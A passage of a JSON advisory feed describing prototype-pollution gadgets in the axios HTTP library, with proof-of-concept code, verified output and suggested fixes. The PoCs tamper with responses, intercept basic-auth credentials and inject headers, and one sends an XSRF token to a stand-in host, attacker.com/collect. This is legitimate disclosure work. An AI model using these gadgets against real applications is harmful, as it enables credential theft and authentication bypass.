HTTP transport, gaining access to request credentials, headers, and body. The precondition is prototype pollution from a separate source in the same process -- lodash \u003c 4.17.21, or any of several other common npm packages with known PP vectors. The two gadgets confirmed here work independently.\n\n---\n\n## Background: how mergeConfig builds the config object\n\nEvery axios request goes through `Axios._request` in [`lib/core/Axios.js#L76`](https://github.com/axios/axios/blob/v1.13.6/lib/core/Axios.js#L76):\n\n```js\nconfig = mergeConfig(this.defaults, config);\n```\n\nInside `mergeConfig`, the merged config is built as a plain `{}` object ([`lib/core/mergeConfig.js#L20`](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L20)):\n\n```js\nconst config = {};\n```\n\nA plain `{}` inherits from `Object.prototype`. `mergeConfig` only iterates `Object.keys({ ...config1, ...config2 })` ([line 99](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L99)), which is a spread of own properties. Any key that is absent from both `this.defaults` and the per-request config will never be set as an own property on the merged config. Reading that key later on the merged config falls through to `Object.prototype`. That is the root mechanism behind all gadgets below.\n\n---\n\n## Gadget 1: parseReviver -- response tampering and exfiltration\n\n**Introduced in:** v1.12.0 (commit 2a97634, PR #5926)\n**Affected range:** \u003e= 1.12.0, \u003c= 1.13.6\n\n### Root cause\n\nThe default `transformResponse` function calls [`JSON.parse(data, this.parseReviver)`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/index.js#L124):\n\n```js\nreturn JSON.parse(data, this.parseReviver);\n```\n\n`this` is the merged config. `parseReviver` is not present in `defaults` and is not in the `mergeMap` inside `mergeConfig`. It is never set as an own property on the merged config. Accessing `this.parseReviver` therefore walks the prototype chain.\n\nThe call fires by default on every string response body because [`lib/defaults/transitional.js#L5`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/transitional.js#L5) sets:\n\n```js\nforcedJSONParsing: true,\n```\n\nwhich activates the JSON parse path unconditionally when `responseType` is unset.\n\n`JSON.parse(text, reviver)` calls the reviver for every key-value pair in the parsed result, bottom-up. The reviver's return value is what the caller receives. An attacker-controlled reviver can both observe every key-value pair and silently replace values.\n\nThere is no interaction with `assertOptions` here. The `assertOptions` call in `Axios._request` ([line 119](https://github.com/axios/axios/blob/v1.13.6/lib/core/Axios.js#L119)) iterates `Object.keys(config)`, and since `parseReviver` was never set as an own property, it is not in that list. Nothing validates or invokes the polluted function before `transformResponse` does.\n\n### Verification: own-property check\n\n```js\nimport { createRequire } from 'module';\nconst require = createRequire(import.meta.url);\nconst mergeConfig = require('./lib/core/mergeConfig.js').default;\nconst defaults = require('./lib/defaults/index.js').default;\n\nconst merged = mergeConfig(defaults, { url: '/test', method: 'get' });\nconsole.log(Object.prototype.hasOwnProperty.call(merged, 'parseReviver')); // false\nconsole.log(merged.parseReviver); // undefined (no pollution)\n\nObject.prototype.parseReviver = function(k, v) { return v; };\nconsole.log(merged.parseReviver); // [Function (anonymous)] -- inherited\ndelete Object.prototype.parseReviver;\n```\n\n### Proof of concept\n\nTwo terminals. The server simulates a legitimate API endpoint. The client simulates a Node.js application whose process has been affected by prototype pollution from a co-dependency.\n\n**Terminal 1 -- server (`server_gadget1.mjs`):**\n\n```js\nimport http from 'http';\n\nconst server = http.createServer((req, res) =\u003e {\n  console.log('[server] request:', req.method, req.url);\n  res.writeHead(200, { 'Content-Type': 'application/json' });\n  res.end(JSON.stringify({ role: 'user', balance: 100, token: 'tok_real_abc' }));\n});\n\nserver.listen(19003, '127.0.0.1', () =\u003e {\n  console.log('[server] listening on 127.0.0.1:19003');\n});\n```\n\n```\n$ node server_gadget1.mjs\n[server] listening on 127.0.0.1:19003\n[server] request: GET /\n```\n\n**Terminal 2 -- client (`poc_parsereviver.mjs`):**\n\n```js\nimport axios from 'axios';\n\n// Simulate pollution arriving from a co-dependency (e.g. lodash \u003c 4.17.21 via _.merge).\n// In a real application this would be set before any axios request runs.\nObject.prototype.parseReviver = function (key, value) {\n  // Called for every key-value pair in every JSON response parsed by axios in this process.\n  if (key !== '') {\n    // Exfiltrate: in a real attack this would POST to an attacker-controlled endpoint.\n    console.log('[exfil]', key, '=', JSON.stringify(value));\n  }\n  // Tamper: escalate role, inflate balance.\n  if (key === 'role') return 'admin';\n  if (key === 'balance') return 999999;\n  return value;\n};\n\nconst res = await axios.get('http://127.0.0.1:19003/');\nconsole.log('[app] received:', JSON.stringify(res.data));\n\ndelete Object.prototype.parseReviver;\n```\n\n```\n$ node poc_parsereviver.mjs\n[exfil] role = \"user\"\n[exfil] balance = 100\n[exfil] token = \"tok_real_abc\"\n[app] received: {\"role\":\"admin\",\"balance\":999999,\"token\":\"tok_real_abc\"}\n```\n\nThe server sent `role: user`. The application received `role: admin`. The response is silently modified in place; no error is thrown, no log entry is produced.\n\n---\n\n## Gadget 2: transport -- full HTTP request hijacking with credentials\n\n**Introduced in:** early adapter refactor, present across 0.x and 1.x\n**Affected range:** \u003e= 0.19.0, \u003c= 1.13.6 (Node.js http adapter only)\n\n### Root cause\n\nInside the Node.js http adapter at [`lib/adapters/http.js#L676`](https://github.com/axios/axios/blob/v1.13.6/lib/adapters/http.js#L676):\n\n```js\nif (config.transport) {\n  transport = config.transport;\n}\n```\n\n`transport` is listed in `mergeMap` inside `mergeConfig` ([line 88](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L88)):\n\n```js\ntransport: defaultToConfig2,\n```\n\nbut it is not present in [`lib/defaults/index.js`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/index.js) at all. `mergeConfig` iterates `Object.keys({ ...config1, ...config2 })` ([line 99](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L99)). Since `config1` (the defaults) has no `transport` key and a typical per-request config has none either, the key never enters the loop. It is never set as an own property on the merged config. The read at line 676 falls through to `Object.prototype`.\n\nThe fix in v1.13.5 (PR #7369) added a `hasOwnProp` check for `mergeMap` access, but the iteration set itself is the issue -- `transport` simply never enters it. The fix does not address this.\n\nThe transport interface is `{ request(options, handleResponseCallback) }`. The options object passed to `transport.request` at adapter runtime contains:\n\n- `options.hostname`, `options.port`, `options.path` -- full target URL\n- `options.auth` -- basic auth credentials in `\"username:password\"` form (set at [line 606](https://github.com/axios/axios/blob/v1.13.6/lib/adapters/http.js#L606))\n- `options.headers` -- all request headers as a plain object\n\n### Proof of concept\n\nTwo terminals. The server is a legitimate API endpoint that processes the request normally. The client's process has been affected by prototype pollution.\n\n**Terminal 1 -- server (`server_gadget2.mjs`):**\n\n```js\nimport http from 'http';\n\nconst server = http.createServer((req, res) =\u003e {\n  console.log('[server] request:', req.method, req.url, 'auth:', req.headers.authorization || '(none)');\n  res.writeHead(200, { 'Content-Type': 'application/json' });\n  res.end('{\"ok\":true}');\n});\n\nserver.listen(19002, '127.0.0.1', () =\u003e {\n  console.log('[server] listening on 127.0.0.1:19002');\n});\n```\n\n```\n$ node server_gadget2.mjs\n[server] listening on 127.0.0.1:19002\n[server] request: GET /api/users auth: Basic c3ZjX2FjY291bnQ6aHVudGVyMg==\n```\n\n**Terminal 2 -- client (`poc_transport.mjs`):**\n\n```js\nimport axios from 'axios';\nimport http from 'http';\n\nObject.prototype.transport = {\n  request(options, handleResponse) {\n    // Intercept: called for every outbound request in this process.\n    console.log('[hijack] target:', options.hostname + ':' + options.port + options.path);\n    console.log('[hijack] auth:', options.auth);\n    console.log('[hijack] headers:', JSON.stringify(options.headers));\n    // Forward to the real transport so the caller sees a normal 200.\n    return http.request(options, handleResponse);\n  },\n};\n\nconst res = await axios.get('http://127.0.0.1:19002/api/users', {\n  auth: { username: 'svc_account', password: 'hunter2' },\n});\nconsole.log('[app] response status:', res.status);\n\ndelete Object.prototype.transport;\n```\n\n```\n$ node poc_transport.mjs\n[hijack] target: 127.0.0.1:19002/api/users\n[hijack] auth: svc_account:hunter2\n[hijack] headers: {\"Accept\":\"application/json, text/plain, */*\",\"User-Agent\":\"axios/1.13.6\",\"Accept-Encoding\":\"gzip, compress, deflate, br\"}\n[app] response status: 200\n```\n\nThe basic auth credentials are fully visible to the attacker's transport function. The request completes normally from the caller's perspective.\n\n---\n\n## Additional gadget: transformRequest / transformResponse\n\nSeparately, `mergeConfig` reads `config2[prop]` at [line 102](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L102) without a `hasOwnProperty` guard. For keys like `transformRequest` and `transformResponse` that are present in `defaults` (and therefore processed by the mergeMap loop), if `Object.prototype.transformRequest` is polluted before the request, `config2[\"transformRequest\"]` inherits the polluted value and `defaultToConfig2` replaces the safe default transforms with the attacker's function.\n\nThis one requires a discriminator because `assertOptions` in `Axios._request` ([line 119](https://github.com/axios/axios/blob/v1.13.6/lib/core/Axios.js#L119)) reads `schema[opt]` for every key in the merged config's own keys, and `schema[\"transformRequest\"]` also inherits from `Object.prototype`, causing it to call the polluted value as a validator. The gadget function needs to return `true` when its first argument is a function (the assertOptions call) and perform the attack when its first argument is data (the [`transformData`](https://github.com/axios/axios/blob/v1.13.6/lib/core/transformData.js#L22) call).\n\nBoth `transformRequest` (fires with request body) and `transformResponse` (fires with response body) are confirmed affected. Range: \u003e= 0.19.0, \u003c= 1.13.6.\n\n---\n\n## Why the existing fix does not cover these\n\nPR #7369 / CVE-2026-25639 (fixed in v1.13.5) addressed a separate class: passing `{\"__proto__\": {\"x\": 1}}` as the config object, which caused `mergeMap['__proto__']` to resolve to `Object.prototype` (a non-function), crashing axios. The fix added an explicit block on `__proto__`, `constructor`, and `prototype` as config keys, and changed `mergeMap[prop]` to `utils.hasOwnProp(mergeMap, prop) ? mergeMap[prop] : ...`.\n\nThat fix only addresses config keys that are explicitly set to `__proto__` (or similar) by the caller. It does not add `hasOwnProperty` guards on the value reads (`config2[prop]` at [line 102](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L102), `this.parseReviver`, `config.transport`). An application using a PP-vulnerable co-dependency and making axios requests is still fully exposed after upgrading to 1.13.5 or 1.13.6.\n\n---\n\n## Suggested fixes\n\nFor `parseReviver` ([`lib/defaults/index.js#L124`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/index.js#L124)):\n```js\nconst reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver') ? this.parseReviver : undefined;\nreturn JSON.parse(data, reviver);\n```\n\nFor `mergeConfig` value reads ([`lib/core/mergeConfig.js#L102`](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L102)):\n```js\nconst configValue = merge(\n  config1[prop],\n  utils.hasOwnProp(config2, prop) ? config2[prop] : undefined,\n  prop\n);\n```\n\nFor `transport` and other adapter reads from config ([`lib/adapters/http.js#L676`](https://github.com/axios/axios/blob/v1.13.6/lib/adapters/http.js#L676)):\n```js\nif (utils.hasOwnProp(config, 'transport') \u0026\u0026 config.transport) {\n  transport = config.transport;\n}\n```\n\nThe same `hasOwnProp` pattern applies to `lookup`, `httpVersion`, `http2Options`, `family`, and `formSerializer` reads in the adapter.\n\n---\n\n## Environment\n\n- axios: 1.13.6\n- Node.js: 22.22.0\n- OS: macOS 14\n- Reproduction: confirmed in isolated test harness, both gadgets independently verified\n\n## Disclosure\n\nReported via GitHub Security Advisories at https://github.com/axios/axios/security/advisories/new per the axios security policy.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-05T00:26:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/axios/axios/security/advisories/GHSA-pf86-5x62-jrwf","https://nvd.nist.gov/vuln/detail/CVE-2026-42033","https://github.com/advisories/GHSA-pf86-5x62-jrwf"],"source_kind":"github","identifiers":["GHSA-pf86-5x62-jrwf","CVE-2026-42033"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T01:00:11.649Z","updated_at":"2026-08-28T13:02:33.458Z","epss_percentage":0.00838,"epss_percentile":0.54647,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZjg2LTV4NjItanJ3Zs4ABWJv","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wZjg2LTV4NjItanJ3Zs4ABWJv","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.31.1","vulnerable_version_range":"\u003c= 0.31.0"},{"first_patched_version":"1.15.1","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.15.1"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZjg2LTV4NjItanJ3Zs4ABWJv/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02Y2hxLXdmcjMtMmhqOc4ABWJu","url":"https://github.com/advisories/GHSA-6chq-wfr3-2hj9","title":"Axios: Header Injection via Prototype Pollution","description":"### Summary\n\nA prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request.\n\nThe vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself — any prototype pollution primitive in any dependency in the application's dependency tree is sufficient to trigger this gadget.\n\nPrerequisites:\n\nA prototype pollution primitive must exist somewhere in the application's dependency chain (e.g., via lodash.merge, qs, JSON5, or any deep-merge utility processing attacker-controlled input). The pollution source is not required to be in Axios.\nThe application must use Axios to make HTTP requests with a data payload (POST, PUT, PATCH).\n\n### Details\n\nThe vulnerability is in `lib/adapters/http.js`, in the data serialization pipeline:\n\n```javascript\n// lib/adapters/http.js \n} else if (utils.isFormData(data) \u0026\u0026 utils.isFunction(data.getHeaders)) {\n    headers.set(data.getHeaders());\n    // ...\n}\n```\n\nAxios uses two sequential duck-type checks, both of which can be satisfied via prototype pollution:\n\n**1. `utils.isFormData(data)` — `lib/utils.js`**\n```javascript\nconst isFormData = (thing) =\u003e {\n  let kind;\n  return thing \u0026\u0026 (\n    (typeof FormData === 'function' \u0026\u0026 thing instanceof FormData) || (\n      isFunction(thing.append) \u0026\u0026 ( \n        (kind = kindOf(thing)) === 'formdata' ||  \n        (kind === 'object' \u0026\u0026 isFunction(thing.toString) \u0026\u0026 thing.toString() === '[object FormData]')\n      )\n    )\n  )\n}\n```\n\n**2. `utils.isFunction(data.getHeaders)` — Duck-type for `form-data` npm package**\n```javascript\n// Returns true if Object.prototype.getHeaders is a function\nutils.isFunction(data.getHeaders) \n```\n\n### PoC\n\n```javascript\n// Simulate Prototype Pollution\nObject.prototype[Symbol.toStringTag] = 'FormData';\nObject.prototype.append = () =\u003e {};\nObject.prototype.getHeaders = () =\u003e {\n    const headers = Object.create(null);\n    (.... Introduce here all the headers you want ....)\n    return headers;\n};\nObject.prototype.pipe = function(d) { if(d\u0026\u0026d.end)d.end(); return d; };\nObject.prototype.on = function() { return this; };\nObject.prototype.once = function() { return this; };\n\n// Legitimate application code\nconst response = await axios.post('https://internal-api.company.com/admin/delete', \n    { userId: 42 },\n    { headers: { 'Authorization': 'Bearer VALID_USER_TOKEN' } }\n);\n```\n\n### Impact\n\n- Authentication Bypass (CVSS: C:H)\n- Session Fixation (CVSS: I:H)\n- Privilege Escalation (CVSS: C:H, I:H)\n- IP Spoofing / WAF Bypass (CVSS: I:H)\n\n**Note on Scope**: There is an argument to promote this from **S:U to S:C** (Scope: Changed), which would raise the score to **10.0**. In some architectures, Axios is commonly used for service to service communication where downstream services trust identity headers (`Authorization`, `X-Role`, `X-User-ID`, `X-Tenant-ID`) forwarded from upstream API gateways. In this scenario, the vulnerable component (Axios in Service A) and the impacted component (Service B, which acts on the injected identity) are under different security authorities. The injected headers cross a trust boundary, meaning the impact extends beyond the security scope of the vulnerable component, the CVSS v3.1 definition of a Scope Change. We conservatively score S:U here, but maintainers should evaluate which one applies better here.\n\n### Recommended Fix\n\nAdd an explicit own-property check in `lib/adapters/http.js`:\n\n```diff\n- } else if (utils.isFormData(data) \u0026\u0026 utils.isFunction(data.getHeaders)) {\n-     headers.set(data.getHeaders());\n+ } else if (utils.isFormData(data) \u0026\u0026 utils.isFunction(data.getHeaders) \u0026\u0026\n+            Object.prototype.hasOwnProperty.call(data, 'getHeaders')) {\n+     headers.set(data.getHeaders());\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-05T00:25:47.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9","https://nvd.nist.gov/vuln/detail/CVE-2026-42035","https://github.com/advisories/GHSA-6chq-wfr3-2hj9"],"source_kind":"github","identifiers":["GHSA-6chq-wfr3-2hj9","CVE-2026-42035"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T01:00:11.649Z","updated_at":"2026-08-29T17:02:15.075Z","epss_percentage":0.00403,"epss_percentile":0.33119,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02Y2hxLXdmcjMtMmhqOc4ABWJu","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02Y2hxLXdmcjMtMmhqOc4ABWJu","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.31.1","vulnerable_version_range":"\u003c= 0.31.0"},{"first_patched_version":"1.15.1","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.15.1"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02Y2hxLXdmcjMtMmhqOc4ABWJu/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14eDZ2LXJwNngtcTM5Y84ABWJt","url":"https://github.com/advisories/GHSA-xx6v-rp6x-q39c","title":"Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion","description":"# Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion\n\n## Summary\n\nThe Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the `withXSRFToken` config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (`isURLSameOrigin`) is **short-circuited**, causing XSRF tokens to be sent to **all** request targets including cross-origin servers controlled by an attacker.\n\n**Severity:** Medium (CVSS 5.4)\n**Affected Versions:** All versions since `withXSRFToken` was introduced\n**Vulnerable Component:** `lib/helpers/resolveConfig.js:59`\n**Environment:** Browser-only (XSRF logic only runs when `hasStandardBrowserEnv` is true)\n\n## CWE\n\n- **CWE-201:** Insertion of Sensitive Information Into Sent Data\n- **CWE-183:** Permissive List of Allowed Inputs\n\n## CVSS 3.1\n\n**Score: 5.4 (Medium)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP triggered remotely via vulnerable dependency |\n| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx |\n| Privileges Required | None | No authentication needed |\n| User Interaction | Required | Victim must use browser with axios making cross-origin requests |\n| Scope | Unchanged | Token leakage within browser context |\n| Confidentiality | Low | XSRF token leaked — anti-CSRF token, not session token |\n| Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) |\n| Availability | None | No availability impact |\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input** when triggered via prototype pollution.\n\nIf an attacker can pollute `Object.prototype.withXSRFToken` with any truthy value (e.g., `1`, `\"true\"`, `{}`), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.\n\n## Vulnerable Code\n\n**File:** `lib/helpers/resolveConfig.js`, lines 57-66\n\n```javascript\n// Line 57: Function check — only applies if withXSRFToken is a function\nwithXSRFToken \u0026\u0026 utils.isFunction(withXSRFToken) \u0026\u0026 (withXSRFToken = withXSRFToken(newConfig));\n\n// Line 59: The vulnerable condition\nif (withXSRFToken || (withXSRFToken !== false \u0026\u0026 isURLSameOrigin(newConfig.url))) {\n//  ^^^^^^^^^^^^^^^^\n//  When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits\n//  isURLSameOrigin() is NEVER called → token sent to ANY origin\n  const xsrfValue = xsrfHeaderName \u0026\u0026 xsrfCookieName \u0026\u0026 cookies.read(xsrfCookieName);\n  if (xsrfValue) {\n    headers.set(xsrfHeaderName, xsrfValue);\n  }\n}\n```\n\n**Designed behavior:**\n- `true` → always send token (explicit cross-origin opt-in)\n- `false` → never send token\n- `undefined` → send only for same-origin requests\n\n**Actual behavior for non-boolean truthy values (`1`, `\"false\"`, `{}`, `[]`):**\n- All treated as truthy → same-origin check skipped → token sent everywhere\n\n## Proof of Concept\n\n```javascript\n// Simulated prototype pollution from any vulnerable dependency\nObject.prototype.withXSRFToken = 1;\n\n// In browser with document.cookie = \"XSRF-TOKEN=secret-csrf-token-abc123\"\n// Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123\n// Even to cross-origin hosts:\nawait axios.get('https://attacker.com/collect');\n// → attacker receives the XSRF token in request headers\n```\n\n## Verified PoC Output\n\n```\nwithXSRFToken Value        Sends Token Cross-Origin  Expected\ntrue (boolean)             YES                       Yes (opt-in)\nfalse (boolean)            No                        No\nundefined (default)        No                        No\n1 (number)                 YES ← BUG                No\n\"false\" (string)           YES ← BUG                No\n{} (object)                YES ← BUG                No\n[] (array)                 YES ← BUG                No\n\nPrototype pollution:\n  Object.prototype.withXSRFToken = 1\n  config.withXSRFToken = 1 → leaks=true\n  isURLSameOrigin() was NOT called (short-circuited)\n```\n\n## Impact Analysis\n\n- **XSRF Token Theft:** Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application\n- **Universal Scope:** A single `Object.prototype.withXSRFToken = 1` affects every axios request in the application\n- **Misconfiguration Risk:** Developer writing `withXSRFToken: \"false\"` (string) instead of `false` (boolean) triggers the same issue without PP\n\n**Limitations:**\n- Browser-only (XSRF logic runs only in `hasStandardBrowserEnv`)\n- XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking\n- Attacker still needs a way to deliver the forged request after obtaining the token\n\n## Recommended Fix\n\nUse strict boolean comparison:\n\n```javascript\n// FIXED: lib/helpers/resolveConfig.js\nconst shouldSendXSRF = withXSRFToken === true ||\n  (withXSRFToken == null \u0026\u0026 isURLSameOrigin(newConfig.url));\n\nif (shouldSendXSRF) {\n  const xsrfValue = xsrfHeaderName \u0026\u0026 xsrfCookieName \u0026\u0026 cookies.read(xsrfCookieName);\n  if (xsrfValue) {\n    headers.set(xsrfHeaderName, xsrfValue);\n  }\n}\n```\n\n## Resources\n\n- [CWE-201: Insertion of Sensitive Information Into Sent Data](https://cwe.mitre.org/data/definitions/201.html)\n- [CWE-183: Permissive List of Allowed Inputs](https://cwe.mitre.org/data/definitions/183.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-15 | Vulnerability discovered during source code audit |\n| 2026-04-16 | Report revised: corrected CVSS, documented limitations |\n| TBD | Report submitted to vendor via GitHub Security Advisory |","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-05T00:25:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","references":["https://github.com/axios/axios/security/advisories/GHSA-xx6v-rp6x-q39c","https://nvd.nist.gov/vuln/detail/CVE-2026-42042","https://github.com/advisories/GHSA-xx6v-rp6x-q39c"],"source_kind":"github","identifiers":["GHSA-xx6v-rp6x-q39c","CVE-2026-42042"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T01:00:11.649Z","updated_at":"2026-08-28T13:02:33.459Z","epss_percentage":0.00228,"epss_percentile":0.13333,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14eDZ2LXJwNngtcTM5Y84ABWJt","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14eDZ2LXJwNngtcTM5Y84ABWJt","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.31.1","vulnerable_version_range":"\u003c= 0.31.0"},{"first_patched_version":"1.15.1","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.15.1"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14eDZ2LXJwNngtcTM5Y84ABWJt/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13OWoyLXB2Z2gtNmg2M84ABWJs","url":"https://github.com/advisories/GHSA-w9j2-pvgh-6h63","title":"Axios: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy","description":"# Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy\n\n## Summary\n\nThe Axios library is vulnerable to a Prototype Pollution \"Gadget\" attack that allows any `Object.prototype` pollution to **silently suppress all HTTP error responses** (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling.\n\nThe root cause is that `validateStatus` is the **only** config property using the `mergeDirectKeys` merge strategy, which uses JavaScript's `in` operator — an operator that inherently traverses the prototype chain. When `Object.prototype.validateStatus` is polluted with `() =\u003e true`, all HTTP status codes are accepted as success.\n\n**Severity:** High (CVSS 8.2)\n**Affected Versions:** All versions (v0.x - v1.x including v1.15.0)\n**Vulnerable Component:** `lib/core/mergeConfig.js` (`mergeDirectKeys` strategy) + `lib/core/settle.js`\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')\n- **CWE-287:** Improper Authentication\n\n## CVSS 3.1\n\n**Score: 8.2 (High)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP is triggered remotely |\n| Attack Complexity | Low | Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | Impact within the application |\n| Confidentiality | Low | 401 treated as success may expose data behind auth gates |\n| Integrity | High | All error handling and auth checks are silently bypassed — application operates on invalid assumptions |\n| Availability | None | The function works correctly (returns true), no crash |\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input**.\n\nIf an attacker can pollute `Object.prototype` via any other library in the stack, Axios will automatically inherit the polluted `validateStatus` function during config merge. The `in` operator in `mergeDirectKeys` makes this property **uniquely susceptible** to prototype pollution compared to all other config properties.\n\n## Why `validateStatus` Is Uniquely Vulnerable\n\nAll other config properties use `defaultToConfig2`, which reads `config2[prop]` (traverses prototype). But `validateStatus` uses `mergeDirectKeys`, which uses the `in` operator:\n\n```javascript\n// mergeConfig.js:58-64 — mergeDirectKeys (ONLY used by validateStatus)\nfunction mergeDirectKeys(a, b, prop) {\n  if (prop in config2) {           // ← `in` traverses prototype chain!\n    return getMergedValue(a, b);\n  } else if (prop in config1) {\n    return getMergedValue(undefined, a);\n  }\n}\n\n// mergeConfig.js:94\nconst mergeMap = {\n  // ... all others use defaultToConfig2 ...\n  validateStatus: mergeDirectKeys,   // ← ONLY property using this strategy\n};\n```\n\nThe `in` operator is a **more aggressive** prototype traversal than property access. While `config2['validateStatus']` also traverses the prototype, the explicit `in` check makes the intent clearer and the vulnerability more direct.\n\n## Proof of Concept\n\n### 1. The Setup (Simulated Pollution)\n\n```javascript\nObject.prototype.validateStatus = () =\u003e true;\n```\n\n### 2. The Gadget Trigger (Safe Code)\n\n```javascript\n// Application checks authentication via HTTP status codes\ntry {\n  const response = await axios.get('https://api.internal/admin/users');\n  // Developer expects: 401 → catch block → redirect to login\n  // Reality: 401 → treated as success → displays admin data\n  processAdminData(response.data);  // Executes with 401 response body!\n} catch (error) {\n  redirectToLogin();  // NEVER REACHED for 401/403/500\n}\n```\n\n### 3. The Execution\n\n```javascript\n// mergeConfig.js:58 — 'validateStatus' in config2\n// config2 = { url: '/admin/users', method: 'get' }\n// 'validateStatus' in config2 → checks prototype → finds () =\u003e true → TRUE\n// → getMergedValue(defaultValidator, () =\u003e true) → returns () =\u003e true\n\n// settle.js:16 — ALL status codes resolve\nconst validateStatus = response.config.validateStatus;  // () =\u003e true\nif (!response.status || !validateStatus || validateStatus(response.status)) {\n  resolve(response);  // 401, 403, 500 all resolve here!\n}\n```\n\n### 4. The Impact\n\n```\nBefore pollution:\n  HTTP 200 → resolve (success)\n  HTTP 401 → reject (auth error) → redirectToLogin()\n  HTTP 403 → reject (forbidden) → showAccessDenied()\n  HTTP 500 → reject (server error) → showErrorPage()\n\nAfter pollution:\n  HTTP 200 → resolve (success)\n  HTTP 401 → resolve (SUCCESS!) → processAdminData() with error body\n  HTTP 403 → resolve (SUCCESS!) → application thinks user has access\n  HTTP 500 → resolve (SUCCESS!) → application processes error as data\n```\n\n## Verified PoC Output\n\n```\n--- Before Pollution ---\n401: REJECTED as expected - Request failed with status code 401\n500: REJECTED as expected - Request failed with 